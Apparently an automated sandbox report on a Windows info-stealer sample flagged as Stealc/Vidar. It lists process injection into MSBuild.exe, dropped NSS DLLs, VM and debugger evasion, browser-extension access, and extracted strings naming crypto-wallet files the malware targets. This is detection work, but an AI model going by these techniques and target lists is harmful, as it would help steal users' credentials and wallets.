Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

4_2_00419860

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_4-67172

Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 2093			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 4072			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	API coverage: 8.8 %
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API coverage: 8.5 %

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_0073980F FindFirstFileExW,	0_2_0073980F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	4_2_0040E430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_00414910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_00414910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	4_2_0040BE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_004016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_004016D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	4_2_0040DA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_00413EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	4_2_00413EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_0040F6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_004138B0 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	4_2_004138B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_00414570 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	4_2_00414570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	4_2_0040ED20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0040DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	4_2_0040DE10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 4_2_00401160 GetSystemInfo,ExitProcess,

4_2_00401160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000004.00000002.2180750982.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_4-67171
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_4-68335
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_4-67157
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_4-67160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_4-67178
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_4-67200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	API call chain: ExitProcess graph end node	graph_4-66985

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe

Code function: 0_2_00727672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00727672

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 4_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

4_2_004045C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

4_2_00419860

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_0073A39E mov eax, dword ptr fs:[00000030h]	0_2_0073A39E
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_00730C7E mov ecx, dword ptr fs:[00000030h]	0_2_00730C7E
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_00721FE0 mov edi, dword ptr fs:[00000030h]	0_2_00721FE0
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_00765630 mov eax, dword ptr fs:[00000030h]	0_2_00765630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_00419750 mov eax, dword ptr fs:[00000030h]	4_2_00419750

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe

Code function: 0_2_0073C99D GetProcessHeap,

0_2_0073C99D

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_00727360 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00727360
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_00727672 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00727672
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_007277FF SetUnhandledExceptionFilter,	0_2_007277FF
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: 0_2_0072D7C3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0072D7C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0041AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0041CEEA SetUnhandledExceptionFilter,	4_2_0041CEEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0041B33A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBFB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6CBFB66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CBFB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6CBFB1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 4_2_6CDAAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6CDAAC62

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: CR0QGWXdDl.exe PID: 6780, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6904, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 4_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

4_2_00419600

Writes to foreign memory regions

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 65C000	Jump to behavior
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 98C008	Jump to behavior

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userGCGCFCBAKK.exe"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 4_2_6CBFB341 cpuid

4_2_6CBFB341

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: EnumSystemLocalesW,	0_2_0073C079
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: EnumSystemLocalesW,	0_2_0073C0C4
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: EnumSystemLocalesW,	0_2_0073C15F
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0073C1EA
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: GetLocaleInfoW,	0_2_0073C43D
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0073C566
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: GetLocaleInfoW,	0_2_0073C66C
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0073C73B
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: EnumSystemLocalesW,	0_2_00735ACF
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_0073BDD7
Source: C:\Users\user\Desktop\CR0QGWXdDl.exe	Code function: GetLocaleInfoW,	0_2_00735F79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	4_2_00417B90

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\CR0QGWXdDl.exe

Code function: 0_2_00727565 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00727565

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 4_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

4_2_00417850

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 4_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

4_2_00417A30

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.CR0QGWXdDl.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CR0QGWXdDl.exe.74cae0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.CR0QGWXdDl.exe.74cae0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2180750982.0000000000D47000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1752857321.000000000074C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6904, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: MSBuild.exe PID: 6904, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: \jaxx\Local Storage\
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: us\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|M
Source: MSBuild.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: MSBuild.exe	String found in binary or memory: passphrase.json
Source: MSBuild.exe	String found in binary or memory: \jaxx\Local Storage\
Source: MSBuild.exe	String found in binary or memory: \Ethereum\
